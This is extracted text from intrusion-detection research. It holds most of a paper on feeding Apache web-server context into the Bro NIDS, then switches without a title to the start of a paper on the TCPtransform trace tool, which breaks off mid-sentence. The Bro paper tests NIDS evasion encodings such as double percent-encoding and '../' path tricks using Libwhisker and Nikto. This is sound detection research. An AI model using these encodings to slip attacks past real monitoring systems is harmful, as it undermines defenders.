libpcap SSL

Fig. 1. Architecture of the Bro IDS

2.3 Communication Framework and State Management

Bro’s communication framework supports the serialization and transmission of
arbitrary kinds of state between Bro instances. The driving idea behind its design
is to allow the realization of independent state [10]: that is, we should no longer
think of state accumulated at the policy layer as a local concept, but rather as
information dispersed throughout the network, and potentially shared between
past and future executions of Bro. The communication model imposes no hi-
erarchical structure. Examples of exchangeable state include triggered events;
state kept in data structures managed by policies; and the policy definitions
themselves. For the purpose of this paper it is sufficient to think of the enti-
ties exchanged between peers as events, though that ignores a large part of its
flexibility.

To interface other applications to Bro, we have implemented a lightweight,
highly portable library supporting Bro’s communication protocol called Broccoli2

that allows nodes that are not instances of the Bro IDS to partake in its event
communication [13]. Broccoli nodes can request, send, and receive Bro events
just like Bro itself, but cannot be configured using Bro’s policy language. A
Broccoli node’s policy has to be implemented directly in the client’s code, or
through mechanisms such as configuration files.

3 Using Host-Supplied Context in Network Intrusion
Detection

Having a distributed Network Intrusion Detection System at hand, we can use
the NIDS’s communication mechanisms to implement host-based sensors to sup-

2 Broccoli is the healthy acronym for “Bro Client Communications Library.”
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plement the NIDS’s analyses. In this section we explain how a NIDS can benefit
from this additional information and how we integrated host-supplied context
into Bro’s event-based framework.

3.1 Motivation

Our motivation for augmenting network-based analysis with host-supplied con-
text is fivefold:

1. Overcoming encryption. One major benefit of host-supplied context is
that the host has access to information before and after any flow encryption
takes place. The recipient of an encrypted connection can be instrumented
to report selected information to the NIDS, such as user login names or
requested objects. Thus, instrumenting server applications that employ en-
crypted communication allows us to do the same protocol analysis as for
clear-text protocols.

2. Comprehensive protocol analysis. Having host applications report to
the NIDS enables us to access additional information about the applications’
internal protocol state. As endpoints fully decode the application-layer pro-
tocol in any case, they can easily provide the NIDS with context that for the
NIDS is hard to derive itself.
A simple example is user authentication during a Telnet login session. The
Telnet protocol does not include any information about login success or
failure, so Bro must resort to heuristics in an attempt to infer the result
of an authentication attempt based on the keystroke/response dialog [7].
But the Telnet server end host immediately and unambiguously knows the
outcome of such attempts.

3. Anti-evasion. Evasion attacks are one of the most fundamental problems
of network intrusion detection. They exploit ambiguities inherently present
in observing network traffic from a location other than one of the endpoints.
These ambiguities render it hard, or even impossible, for a NIDS to cor-
rectly interpret skillfully crafted packet sequences in the same fashion as the
end host receiving them. Such attacks can exploit differing interpretations
of traffic at multiple protocol levels. From the application layer’s point of
view, it is generally not possible to pinpoint the exact location in the pro-
tocol stack where the ambiguity was introduced: for a web server, it might
have been within HTTP itself, but could just as well have occurred due to
TCP retransmissions (layer 4) or IP fragmentation (layer 3). In a seminal pa-
per [1], Ptacek and Newsham describe several network- and transport-layer
attacks that lead to different payload streams perceived by the end-system
and the NIDS. Approaches that alleviate the problem exist (e.g., normaliza-
tion [2] and active mapping [3]), but have not seen deployment in large-scale
networks yet.
The NIDS’s analysis can likewise leverage host-based context at multiple
levels. One way to use this is for learning how the application interprets the
received data, i.e., we can use additional information to detect evasion at-
tacks against the NIDS. By including application-layer state of the host into
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the analysis, such attacks can be detected and/or avoided. Another interest-
ing approach is the instrumentation of a host’s network stack, which would
allow it to share information about its stream reassembly with the NIDS. A
key question here is how to minimize the amount of information that needs to
be shared to allow such a comparison. For example, we can envision exchang-
ing checksums of the stream to detect mismatches in a lightweight fashion.
Such instrumentation would allow us to monitor multiple types of applica-
tions for evasion attacks without the need to instrument each application
individually.

4. Adaptive scrutiny. Generally, there is a wealth of things that can cause
an IDS to become suspicious about a connection’s intent: unusual destination
hosts or ports, scanning behavior by the source host in the past, matches to
traffic flow signatures, or a large number of IP fragments are just a small set
of examples. Our approach adds another indicator to the toolbox: deviation
of the interpretations on the end host and the NIDS can also be used to
classify a connection as more suspicious than others, initiating closer scrutiny
of such traffic.

5. IDS hardening. Lastly, differing interpretations of the same data might
simply point out subtle bugs in the implementation of the NIDS, or even in
the application itself.

More generally, we see that there are two – somewhat complementary – ap-
proaches to leveraging host-supplied context. First, the host can provide addi-
tional context for the NIDS to include into analysis. Second, the host can supply
redundant context which the NIDS uses to verify information is has distilled it-
self.

3.2 Integration into Bro

We incorporate host-supplied context into Bro’s analysis by letting selected ap-
plications send events to a central Bro instance. Similar to Bro’s core-generated
events, remote events still represent policy neutral descriptions of phenomena
occurring within individual process executions. This implies that the policy that
determines the relevance of these events is exclusively maintained on the Bro
host. The benefits of maintaining the policy here, rather than pushed out to the
end hosts, are twofold: first, the policy is accessible centrally and thus easier to
adapt; second, this approach imposes less overhead on the monitored host than
ordinary HIDSs since the data is not analyzed on the host itself. Generating and
sending an event does not cost the host much more effort than writing to a log
file. In addition, we can instrument a host process with fairly little effort using
the Broccoli library. Since Broccoli implements bidirectional event communica-
tion, an instrumented application can also be made controllable by Bro in order
to react in accordance to the policy.

We do not make any further assumptions about the semantics of remote
events. Usually, their meaning is application-specific. However, different appli-
cations may generate the same kind of events. For example, a Web server and
an HTTP proxy may both communicate URLs. If suitable, remote events may
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also directly map to some of Bro’s internal events. In this case, their default
processing can be leveraged.

Bro’s connection-oriented view of traffic analysis raises significant issues for
the integration of remote events with existing local state. Essentially, we need
to unite the stream of events generated by observing a connection on the wire
with the stream of events generated by the remote application that processes
the connection’s data. One avenue for doing so is to have the remote appli-
cation send along the parameters identifying the connection, for example the
IP/port quadruple. In order for this to work, the analyzer must be structured
in a way to allow this fusion of event streams. This means that we must make
available all state required to process the events to all relevant event handlers.
Furthermore, this state must be structured to support the processing of events
of different origins and levels of abstraction levels. One instance of this problem
space is the need for synchronization when we cannot guarantee that the Bro
host can monitor all relevant traffic: we must ensure that new state can be in-
stantiated by both local and remote events, and that this state is not expired
prematurely.

4 Analysis of HTTP Sessions

For our case study, we decided to take a closer look at HTTP, the most widely
used application layer protocol in the Internet. It is not uncommon that Web
traffic amounts for more than half of all TCP connections in a large network.
All major NIDSs provide components to detect HTTP-based attacks, which at a
minimum extract the requested URLs from the network stream and match these
against a set of signatures to detect malicious requests.

The main observation here is that there are at least two HTTP decoders
which dissect the same HTTP connection, namely the web server and the NIDS.
While this is a duplication of work, the separation of the tasks is indeed rea-
sonable: per our discussion above, we prefer the web server not to perform the
intrusion detection itself (and, naturally, it does not make sense for the NIDS
to serve HTTP requests). However, this redundancy allows us to benefit from
both additional and redundant context, as discussed in Section 3.1. We will now
discuss both approaches in turn. While we will focus on URLs extracted from
the requests, we note that similar reasoning holds for deeper inspection.

4.1 Leveraging Additional Web Server Context

With respect to the semantics of a given HTTP request, it is obviously the
web server that is authoritative: its environment-specific configuration defines
the interpretation of the request and the meaning of any reply. Thus, providing
the NIDS with information from the web server promises to offer a significant
increase in contextual information.

Web servers can provide several kinds of context that are hard or impossible
for the NIDS to derive by itself:
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– Decryption: SSL-enabled sessions have become quite common for transfer-
ring sensitive data. While quite desirable, this poses severe restrictions on
passive application-layer network monitoring. However, since the web server
decrypts such requests, it can provide them as clear-text to the NIDS via an
independent (and again encrypted) channel.

– Full request processing: The web server always fully decodes the request
stream it receives. In contrast, many NIDSs perform this task rather half-
heartedly; e.g., Snort [14] may miss requests in pipelined/persistent connec-
tions if they cross packet boundaries (older versions used to extract only the
very first URL from each packet).

– Full reply processing: Some information can be easily provided by the
web server while a NIDS needs to put considerable effort into deriving it.
For example, Bro is able to extract the server’s reply code from HTTP
sessions. But, to our experience in several high-performance environments,
this comes at a prohibitive processing cost. On the other hand, for the web
server there is no additional cost involved in providing the result, other than
that of sending the data to the NIDS.

– Disambiguation: The document eventually served can substantially differ
from the one requested. The server resolves the path inside a URL in a
virtual namespace; without further context it may not be predictable which
file is given in response. Redirection and rewriting mechanisms internal to the
server can change the URL path arbitrarily. For a NIDS to follow the exact
same steps as the web server, it would need to know all related configuration
statements as well as the full file system layout of the web server — infeasible
in practical terms. Furthermore, most NIDSs are simply not flexible enough
to accommodate such a “shadow configuration”.

4.2 Avoiding Evasion Using Redundant Context

Evasion attacks can be used to mislead the NIDS’s HTTP protocol decoding.
If the NIDS extracts a different HTTP request than the web server — or if it
does not see one at all — it may produce both false negatives and false positives.
However, if we can compare the outcome of the two HTTP decoders, we have
an opportunity to detect these mismatches.

For a web session, network- and transport layers evasion attacks [1] can be
used to hide, alter, or inject URLs. Moreover, there are ways to evade the
application-layer HTTP decoders of NIDSs. The most prevalent form is URL
encoding [15]. Per RFC 2396 [16], URLs may only contain a subset of the US-
ASCII characters. However, to represent other characters, arbitrary values can
be encoded using special control sequences. For example, web servers are required
to support the “percent-encoding” which can encode arbitrary hexadecimal val-
ues. Some web servers — most notably Microsoft’s IIS — also provide more
sophisticated encodings, such as Unicode [17].

For a NIDS, it is hard to precisely mimic these encodings and character sets.
In the past, many systems required fixes upon the discovery of new encoding
tricks (e.g., [18]). In general, a web server’s eventual interpretation of an URL
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depends on its local environment and configuration, making it nearly impossible
for a NIDS to derive it. This issue is part of the more general problem of NIDSs
often lacking context required to reliably detect attacks [12].

Often, such application-layer encoding attacks target not the NIDS but the
web server itself. Due to implementation bugs, such an encoding may circumvent
internal checks. For example, CVE entry 2001-0333 [19] discusses a flaw in the
IIS server which leads to a filename being decoded twice. We can detect such
bugs if we compare the decoding the web server performs with the independent
result of the NIDS. Similarly, the NIDS might have flaws that show up when
verified with the outcome of the web server.

Finally, while comparing the output of the two decoders can detect both
evasion attacks and implementation flaws, we must also prepare ourselves for
the possibility of numerous benign differences, which we explore further below.

5 Deployment and Results

For our case study, we have evaluated our approach in three installations: an
experimental testbed and two production environments. All use the Apache web
server and the Bro NIDS.

5.1 Setup

We instrumented the Apache web server with a Broccoli client that communi-
cates with an instance of the Bro NIDS running concurrently on either the same
machine or a remote host. Semantically, the communication between Apache
and Bro is one-way. For each request, Apache sends the involved hosts and TCP
ports, the original request string, the URL as canonicalized by Apache, the name
of the file being served, and the HTTP reply code. This information is available
through Apache’s default logging module (except we need a slight extension to
access the ports).

There are two different ways of connecting the server with Broccoli. The first,
which is particularly unobtrusive, is using a separate process for the Broccoli
client, which either reads the Apache log file (so no modification to Apache at
all) or communicates with Apache via a pipe. The second is to integrate use of
Broccoli directly into Apache. We implemented both of these. We used the first
for our operational deployments, and the second for our performance testing
(detailed below).

When Bro receives an Apache request, it runs two kinds of analysis, cor-
responding to the two main uses identified in Sections 4.1 and 4.2. First, it
passes the canonicalized URL through its standard detection process. This in-
cludes both script-layer analysis and event-layer signature matching. Second, it
matches the URL against the one extracted by Bro itself from the connection’s
packet stream. If it encounters a difference, it generates an alert.

In our testbed, we installed Apache 2.0.52 and a recent development version
of Bro on the same host. We let Bro run its default HTTP analysis on the
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packet stream as seen on the loopback device. The Apache-supplied information
was sent over a TCP connection from the Broccoli client to the Bro system.

We also instrumented two production web servers at Technische Universität
München, Germany: the main web server of the the Computer Science Depart-
ment, and the server of the Network Architectures Group. Both are connected
to a backbone network with a Gb/s uplink to the Internet. The main server
handles between 20.000 and 30.000 requests per day. To monitor it, we used the
approach of a separate Broccoli client reading from its log file. The Network
Architecture Group’s server processes about 5.000-6.000 requests a day. For it,
we ran Bro on the same host and used a direct connection between Apache and
the Broccoli client, like we did with the testbed.

5.2 Experiences

We operated these setups for two weeks, with very encouraging results. We
first discuss how the additional context indeed provided significant benefits for
the detection process, and then our preliminary experiences with evaluating
redundant context to detect evasion attacks and decoding flaws. We also note
that maintaining the analysis policy on the Bro side while keeping the Broccoli
client policy-neutral proved valuable: we could change the configuration of the
NIDS at will without needing to touch the web servers.

Additional Context. Incorporating context supplied by Apache proved to be
a major gain. First, we could confirm that the NIDS reliably saw all requests
served by the web server — a major benefit, since in high-volume environments
a NIDS running on commodity hardware regularly drops packets and therefore
may miss accesses [20].

Next, we confirmed that Bro could perform signature matching on the URLs
and filenames even if we omitted HTTP decoding from Bro’s configuration. For
high-volume web servers, this holds the potential to realize a major performance
gain, since HTTP analysis can easily increase total CPU usage by a factor of
4–6 [20].

Bro’s signature engine assumes internal connection state already exists when
matching signatures for a given connection. But if Bro is not decoding the HTTP
traffic directly, but rather only receiving it as a feed from Apache, it will not have
instantiated this state. Fortunately, we can arrange for Bro to instantiate such
state by having it capture only TCP control packets (SYNs, FINs and RSTs).
In our experience, it is quite feasible to analyze all such control packets even
in highly loaded Gb/s environments. Note, though, that this approach limits
internal signature matching to HTTP sessions which Bro sees itself. Matching
on requests from unseen connections (for example, those internal to the site)
will require additional internal modifications, which we plan to implement soon.
Also, we note that this restriction only applies to the internal signature engine.
Script-level analysis, such as regular expression matching, is generally possible
even without internal connection state.

Bro uses bidirectional signatures to avoid false positives. For example, many
of the HTTP signatures only alert if the server does not respond with an error
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message. Since Apache supplies us with its reply code as well, we retain this
important feature.

Finally, we now for the first time are able to detect attacks in SSL-encrypted
sessions. We verified that Bro indeed received the decrypted information and
spotted sensitive accesses within them.

Redundant Context. We configured the Bro system to automatically com-
pare the URLs received from the Apache server with those distilled by its own
HTTP decoder. There are cases in which differences in the URLs are legitimate.
Most importantly, the web server may internally expand the requested URL, for
example when expanding a request like /foo/bar/ into /foo/bar/index.html.
However, from our preliminary experiences with the two production servers, it
appears that in practice such differences may be rare enough to be explicitly
coded into the NIDS’s configuration. Consequently, for Bro we implemented an
expansion table of regular expressions that reproduces such URL translations.

Before we compare two URLs, we also strip CGI parameters. When logging a
URL, Apache does not remove the URL-encoded parameters. Bro, on the other
hand, decodes the parameters fully. Therefore, such stripping is required to avoid
mismatches in accesses to CGI scripts.

This policy is running well on our production servers. The main source of
differences we encountered were with requests of the form

GET http://www.foo.bar/index.html HTTP/1.x

Such requests indicate that somebody is trying to use the web server as a proxy.
Apache strips http://www.foo.bar before processing the request; Bro does not.
Examining these requests more closely, we saw that they were mostly scans for
open proxies. Others indicated client misconfigurations.

We found additional differences between Apache and Bro. None of these turned
out to be security-relevant (e.g., we saw client requests which included labels of the
form “foo.html#label”; these labels are removed by Apache). However, the ques-
tion remains whether in a larger-scale environment such differences would occur
often enough, and in sufficiently varied forms, to significantly complicate the use
of redundant context for detecting evasion attempts and decoder flaws.

To stress both Apache and Bro more intensively, we installed three evasion
tools in our test-lab. Libwhisker [21] is a Perl library which includes various URL
encoding tricks supposed to evade NIDSs or the security mechanisms of a web
server [22]. It includes a command-line script for issuing individual requests to
a server. We patched this script to selectively enable one or more of the evasion
methods. We also installed the penetration testing tool Nikto [23], which ships
with a large library of HTTP requests to exploit known server vulnerabilities. In-
ternally, Nikto leverages libwhisker. Therefore, it is able to encode its requests
using libwhisker’s evasion techniques. Finally, we used a small stand-alone en-
coder [24], which converts arbitrary strings into different Unicode representations.

The results of our evasion experiments are encouraging. Both systems, Apache
and Bro, decode the crafted requests without any hitch, yet with the following
differences:
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Fig. 2. Overhead of Bro event transmission on service time for a sequence of 1000
requests to the same, static webpage. The left graph shows an unmodified Apache’s
operation, the middle one shows service times with a single event transmitted per
request, the right one shows service times with 10 identical events transmitted per
request. In each case, the horizontal line indicates the average value across all requests

– Libwhisker can insert relative directory references into the URLs, turn-
ing /foo/bar/ into e.g. /foo/./bar/ or /garbage/../foo/bar/. Apache
canonicalizes the path. Bro leaves it untouched, which for a NIDS not know-
ing the web server’s filesystem layout makes sense: subsequent analysis may
want to alert on these references.

– To avoid ambiguities, double-encoded requests are never to be decoded more
than once. (In a double encoding, a character such as ‘z’ — ASCII 0x7a —
is encoded as %%37%41. The first decoding step yields %7a, then the second
gives ‘z’). If Apache encounters such a request, it logs the result of the
first decoding step but sends an error to the client. Bro also decodes it only
once, but removes the additional percentage sign before further processing. In
addition, it reports the ambiguity. While their behaviors differ, both systems
recognize the situation and report an error.

– Requests containing Unicode characters (literally, or encoded with the IIS-
proprietary %u encoding) are either left untouched or treated as an error by
Apache.3 Bro always leaves such characters untouched. Thus, either the two
systems agree, or Apache does not serve any document.

To summarize, we see that Apache and Bro appear to work well together
in terms of HTTP URL-canonicalization. If in the future we encounter more
mismatches, we can now detect them as soon as they occur. We note that our
results may not readily apply to other web servers. For example, Microsoft’s IIS
supports a handful of other encodings [17] not supported by Bro. In particular,
Bro does not include a Unicode decoder yet. In addition, past experience with
IIS vulnerabilities suggests that its more complex decoder may also be more
vulnerable than Apache’s.

5.3 Performance Evaluation

A key question is whether the performance overhead of the instrumentation is tol-
erable. We tested the performance impact incurred on Apache using httperf [25]

3 This is true for Unix systems. On Windows, Apache may handle Unicode differently
but we have not examined this further.
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Fig. 3. Overhead of event transmission when the collecting Bro is overloaded. The size
of the event queue in the instrumented application has no noticeable impact on the
application’s performance

as a load generator. We ran each of httperf, Apache, and Bro on separate ma-
chines (2.53Ghz Pentium 4s with 500MB RAM) connected on a 100Mb/s net-
work. For these measurements, we implemented the Broccoli client in the form
of an Apache 1.3 logging module, mod bro, requiring only an additional 120 lines
of C code.

We first measured the per-request overhead of sending Bro events from a
lightly loaded Apache. We requested a single, static webpage 1000 times at a
rate of 20 connections per second, measuring the request processing times using
the mod benchmark module [26], and averaged the results of the nth request
across 10 separate runs. The results are shown in Figure 2: on average, Apache
required around 2ms for each request. Sending the single Bro event necessary
for our contextual analysis had quite low performance impact, on the order of
300µs per request, so capable of supporting say 1000 requests/sec.

The second experiment tested the overhead with a Bro under heavy load. To
emulate this situation reliably, we artificially introduced a processing delay of
0.2s per received event on the Bro side4. Broccoli clients have a bounded per-
connection event queue that we configured to a maximum size of 1000 events.
Additional events enqueued at this point lead to the oldest events being dropped.
To simplify the queuing behavior, we ran Apache with a single process serving
requests only. The results are shown in Figure 3: the workload of the receiving
Bro host does not noticeably affect the instrumented application’s performance.

In our production installations we always connected a single web server to
Bro. To explore how our setup might scale with more instrumented servers, we
measured the amount of data exchanged between one instance of Apache and
the receiving Bro. This volume depends on the number of HTTP requests as

4 0.2s turned out to be a suitable value, causing a reproduceable queue build-up.
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well as the length of the requested URLs, but is independent of the HTTP
connection’s actual payload size. A single run of Nikto (see Section 5.2) issues
2443 requests to the web server. On average, for every request 455 bytes of
payload are transmitted between Apache and Bro.5 Thus, the network load is
modest: under 1 Mbps for 2000 requests/sec, a level that can accommodate a
good number of busy web servers. For the Bro side, the amount of work to
process the received bytes is, in general, much less than to parse the full HTTP
stream (the experiments performed in [20] showed a performance decrease of a
factor of 4–6 when doing HTTP processing). Therefore, one option here is to
significantly lighten the load on Bro by leveraging the web server’s processing
and context, which should enable Bro’s monitoring to scale to significantly higher
HTTP loads than before.

To summarize, from our preliminary assessment the overhead imposed by in-
strumenting applications to participate in the event communication of a network
of Bro nodes appears quite acceptable.

6 Summary and Future Work

In this paper we have developed the notion of the extensive enhancements possi-
ble by supplementing network-based intrusion detection with host-supplied con-
text. By incorporating a host’s authoritative state into the NIDS’s analysis,
we can provide the NIDS with both additional context and redundant context.
These allow us to analyze encrypted traffic, leverage the host’s protocol decoder,
detect evasion attacks, increase scrutiny for suspicious hosts, and both offload
and harden the NIDS itself.

As a case study we instrumented the Apache web server with an interface
to the open-source Bro NIDS. We extended Bro to incorporate the web server
accesses into its detection process. Additionally, Bro can compare the URLs
provided by Apache with the URLs it distilled itself by passive HTTP protocol
analysis, providing a means for detecting evasion attacks and flawed decoders
(either the server’s or its own).

We installed the Apache/Bro combo in two production environments and ex-
amined it in more detail in a testbed. The proof-of-principle results from these
deployments are quite encouraging. A critical question to now explore concerns
scaling : will the projections we obtained from our preliminary experiments in-
deed hold up when we deploy such instrumentation more widely within a site? In
particular, the direct communication of redundant context (i) doubles the vol-
ume of data the NIDS processes, and (ii) may wind up generating many more
benign differences in deployments where a wider diversity of server configura-

5 Roughly two thirds of these bytes come from protocol overhead. While high, note
that Bro’s communication protocol can exchange serializations of Bro’s complex
data structures while ensuring type-safety, reconstructing reference structures, and
performing architecture-independent data marshaling. We thus trade off efficiency
for flexibility here.
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tions comes into play. These problems may be amenable to refinements in the
basic technique — for example, rather than transmitting the entire redundant
context from the server to the NIDS, instead only sending an incremental check-
sum, greatly reducing the network volume in the common case of the streams
agreeing; and finding additional canonicalizations to remove benign variations —
but it will take broader operational experiences to properly explore these possi-
bilities.

Another area ripe for future work concerns extending the approach to other
host applications. In particular, we are working on an SSH server instrumented
to report both the results of authentication attempts and the clear text inputs
and outputs of login sessions. These then will allow us to leverage Bro’s existing
Rlogin and Telnet analyzers for the examination of encrypted user sessions,
which operationally has proved increasingly critical with the now widespread
use of SSH.
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Abstract. A TCPdump file captures not only packets but also vari-
ous “properties” related to the live TCP sessions on the Internet. It
is still an open problem to identify all the possible properties, if ever
possible, and more importantly, which properties really matter for the
consumers of this particular TCPdump file and how they are related to
each other. However, it is quite clear that existing traffic replay tools,
for the purpose of system evaluation, such as TCPreplay destroyed at
least some of critical properties such as “ghost acknowledgment” (while
the origin packet has never been delivered), which is a critical issue in
conducting experimental evaluations for intrusion detection systems. In
this paper, we present a software tool to transform an existing TCPdump
file into another traffic file with different “properties”. For instance, if
the original traffic is being captured in a laboratory environment, the
new file might “appear” to be captured in between US and Sweden. The
transformation we have done here is “heuristically consistent” as there
might be some hidden properties still being destroyed in the transforma-
tion process. One interesting application of our tool is to build long-term
profiles to detect anomalous TCP attacks without really running the tar-
get application over the Internet. While, in this paper, we only focus on
property-oriented traffic transformation, we have built and evaluated an
interactive version of this tool, called TCPopera, to evaluate commercial
intrusion prevention systems.

1 Introduction

One common approach to evaluate intrusion detection systems is to record and
replay using tools like TCPdump and TCPreplay [1, 2]. We believe if the traffic
was recorded from a realistic network environment, the original traffic properties
would be preserved. However, it is doubtful that the critical traffic properties
can be preserved with TCPreplay because its basic feature is to resend all pack-
ets from capture files at arbitrary speed. For instance, TCPreplay is likely to
generate inconsistent data/control packets because it is not capable of perform-
ing the stateful replaying of TCP connections when some of traffic properties
from the original trace file are changed. A good example is the change on the
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packet loss property. If we simply eliminate a few packets from the original dump
files, then the intrusion detection system under our evaluation might observe an
acknowledgment packet for a packet that has never been sent before. As a con-
sequence, this breaks TCP semantics and might trigger some unnecessary false
positive/negative, which makes our evaluation task unrealistic. One story we
heard is that one IDS/IPS vender, during their internal testing, confirmed that
their prototype is able to identify an attack in a replayed packet trace, but the
prototype surprisingly missed the same attack in real life, actually when the
same trace was recorded.

This issue is even more critical for evaluating anomaly detection systems,
where the target system needs to build a long term profile based on the local
background traffic. Unfortunately, if the original TCPdump files have not been
properly transformed, the unrealistic background traffic can itself be triggering
unnecessary anomalies. For instance, if the TCPdump traces were recorded in
the UCDavis campus network, then we have to make sure that the traces have
been properly transformed before we can apply to an anomaly detection system
examining traffic between UCDavis and Sweden.

In IDS evaluation using real data traces, it is often the case that the original
environment that the traces are recorded is somewhat different from the target
testing environment. Let us suppose that the packet loss rate in the original
environment (e.g., UCDavis security lab) is much lower than that in the target
testbed (e.g., Internet connections between UCDavis and Sweden). If we want
to use this original traffic as the background data traffic, we must consider how
to modify the traffic to match the target environment. Furthermore, different
properties under the same data traffic cannot be isolated. Although it is difficult
to identify exact relationships among all different possible properties, a good
traffic transformation tool must try its best to consistently maintain all known
properties according to those well-understood relationships.

Since the simple record and replay approach cannot properly cope with the
changes of traffic properties, we need a new paradigm to produce realistic traffic
for experimental evaluation. This new paradigm should be property-oriented and
produce traffic files based on TCP dynamics when the traffic property changes.
In addition, the tool itself should be able to manipulate the relationships among
the same set of traffic properties as given from the users. If the tool can properly
manipulate relationship, through experiment and analysis, we can determine
which relationship is relatively more appropriate.

In general, a TCPdump file contains two pieces of information: (1) the infor-
mation in packet headers and payloads, (2) the traffic properties hidden among
packets. For the purpose of experimental evaluation, we can re-create the packet
payloads on the testbed, but often, the hidden properties are easily and uninten-
tionally altered. Thus, if we can properly engineer the hidden traffic properties,
we are able to have a new TCPdump file that is statistically equivalent to the
original TCPdump file.

An even more interesting question is: “can we then use the statistically equiv-
alent trace file to train the anomaly detector?” Today, it will take a couple weeks
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normally for the long term profile to establish in a typical statistic-based anomaly
detection system. I.e., a customer (maybe a grandma) will power on this system
and without any idea that his/her protection is not there until two weeks later.
Even worse, if the attacks come in during this time window, the long term profile
can be contaminated unpredictably. Ideally, with TCPtransform, we might be
able to collect the statistic properties from the customers before the system is
shipped. We will use these properties to transform the testing background or
attack traffic files to match the customer’s local environment. Then, we can per-
form all types of anomaly detection training based on these transformed traces
in a closed laboratory environment. I.e., during the training and profile building
phase, no attacks can come in and contaminate the statistic profiles. And, finally
the product is shipped with all the right profiles to perform anomaly detection
from the first second it is installed.

While we have not been able to have a practical long-term profile building
process, as a first step, in this paper, we introduce TCPtransform, a property-
oriented traffic transformation tool to generate realistic traffic files. TCPtrans-
form allows its users to tune properties in the origin TCPdump traffic such that
all other relevant properties will be consistently updated. When we input the
sequence of packet headers and payloads to TCPtransform, the property engine
of TCPtransform adaptively changes the properties among packets with consid-
erations of any relevant traffic parameters. Currently, TCPtransform is able to
consistently manipulate two important TCP properties: packet loss and RTT.

This paper is organized as follows. In next section, we briefly introduce the
previous work related to real-life traffic generation for experimental evaluations.
Then, we provide details related to TCPtransform design in section 3. We analyze
our experimental results to show how closely TCPtransform can generate the
realistic traffic in section 4. At last, we conclude our work and explain future
research directions.

2 Related Work

The research area that can greatly benefit from the realistic evaluation dataset is
Intrusion Detection (ID). Since no organization wants to publicize its local traffic
for the privacy reason, ID researchers are forced to use synthetic traffic gener-
ators. In addition, for anomaly detection of attacks, most traffic generators for
evaluating network performance are not appropriate for generating background
traffic used in training the anomaly detectors. For these reasons, many ID re-
searchers have been using propriety traffic datasets, an unfortunate consequence
of this approach is that makes comparisons among ID algorithms more difficult.

To provide a benchmark dataset for evaluating intrusion detectors, MIT’s
Lincoln Laboratory (LL) built a local area network and simulated normal ac-
tivities, that were similar to those of an air force base, and executed attacks
from outside as well as inside the LAN [4, 7]. To our knowledge, the 1998/1999
LL datasets were the first comprehensive research to provide publicly available
dataset for evaluating intrusion detectors. The datasets consist of a 3-week train-
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ing dataset, and a 2-week testing dataset. Also, the datasets contain five general
categories of attacks: probes, DoS (Denial of Service), R2L (Remote to Local),
U2R (User to Root), and data. Data with no attacks in training datasets are also
available for training anomaly detectors. Despite massive efforts to publicize the
benchmark dataset from LL, many ID researchers have pointed out problems
in LL ID evaluation dataset. McHugh pointed out several shortcomings of LL
dataset associated with its design and methodologies [8]. His main concerns on
LL dataset was that the methodologies they generated background traffic and
executed the attacks are somewhat questionable.

In addition, Mahoney and Chan found lower-level characteristics from LL
dataset, which are inconsistent with those of real traffic, collected from their own
network [9]. Their findings can be summarized as follows: First, many attributes
in LL datasets have a small, fixed range in simulation, but a large and growing
range in the real traffic. In particular, attributes like remote client addresses,
TTL TCP options, TCP window size, and number of bad checksums are much
lower than those of real traffic. Second, the LL dataset has usually higher self-
similarity than that of real traffic. They pointed out that this is the sign of source
of artifacts and there are too few independent sources of traffic to duplicate the
complexity of the Internet traffic.

To avoid this problem, Chan’s group mixed real traffic collected from their
local network with LL datasets and then reran anomaly detectors over mixed
datasets to compare the evaluation results. According to their experiment, their
anomaly detectors showed lower detection rate with mixed datasets, but a higher
legitimate detection rate. However, the merging process they performed is very
simple and did not require any consideration about the property interferences
among different data traffic files. As a result, it is highly probable to break the
hidden relationships in the traffic file. Based on the aforementioned problems,
we believe that it is necessary to develop a better approach and a comprehensive
tool to obtain realistic traffic for the purpose of evaluations.

3 TCPtransform

3.1 Property-Oriented Paradigm

As we pointed out early in this paper, the record and replay approach has incon-
sistency problem with the target testbed in reproducing a realistic traffic in that
it simply resends packets dumped from a real network on a target testbed with-
out any consideration of traffic properties. And, in a recent DETER/EMIST [3]
DDoS experiment, we have observed obvious “anomalies” due to the improper
background traffic generation. Furthermore, mixing traffics being recorded in
different network environment is not a trivial task, especially for the purpose of
anomaly detection system evaluation.

The motivation of the property-oriented paradigm was the idea that a TCP-
dump file contains two pieces of information: first, the information in the packet
headers/payloads, and second, the traffic/application properties among packets.
In general, for the purpose of IDS evaluation, we can reproduce packet payloads,
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Fig. 1. Conceptual view of TCPtransform’s property engine. The property engine adds
special events to the sequence of packets and manages property interferences among
property parameters

but very often, it is not trivial to identify and reproduce the traffic properties
consistent with the target testing environment (and with other different traces).
If we properly reverse-engineer a TCPdump file, we can separate this real-life
traffic file into two parts. The first part only contains the sequence of packet
headers and payloads, while the second part is a property engine encoding all
the hidden properties in the origin TCPdump file. So, if we feed the first part into
the property engine, we should be able to receive a new TCPdump file that is
statistically equivalent to the original TCPdump file. Users can ever manipulate
parameters in the property engine to reproduce new TCP traffic with different
properties. Figure 1 illustrates the conceptual view of TCPtransform’s property
engine.

In packet processing special events, which require the property engine to
adaptively change its behavior in processing following packets, might happen.
As an example, let us consider one specific property, packet loss rate. Let us
assume that the property engine decides to drop the current packet. This special
event might affect other properties related to TCP’s congestion/flow control and
retransmissions. Furthermore, this event might change the property or behavior
of the application by causing difference in the following packet stream. Under
the property-oriented paradigm, the interferences among properties are modeled
as the feedback from the event handling to the property engine.

The property engine also allows users to configure its properties for the tar-
get testbed. For the research evaluation, this is very useful feature because it
helps users to test their prototype system in various traffic environment by sim-
ply tuning parameters manually. For instance, if the origin TCPdump file was
recorded in a high-speed & low-traffic network environment, then the property
related to packet loss rate is very low. However, if we want to mimic the traffic
passing through a highly congested ISP network, then we need to adjust the loss
rate manually to achieve the goal.

3.2 TCPtransform Architecture

The goal of TCPtransform is to reproduce new traffic that statistically equivalent
to the original trace records. TCPtransform processes each packet flow indepen-
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Fig. 2. The major components of TCPtransform

dently based on the flow-level traffic properties. It mainly focus on two major
traffic properties, RTT (Round-Trip Time) and packet loss rate, and handles
TCP dynamics caused by these traffic properties.

Figure 2 shows the important components of the TCPtransform architecture.
TCPtransform users can edit the configuration files. Then, the Flow Preprocess-
ing module reads these configuration files and adjusts traffic parameters. The
Flow Processing module produces the new trace records in terms of traffic pa-
rameters and it keeps track of the state of TCP connections using the TCP
functions library which supports the emulation of the TCP control block for
each TCP connections. The Flow processing module inserts the packet into the
global event queue when it completes updating the TCP sender’s state. Also, it
receives stored events, e.g. TCP timer events, from the global event queue. We
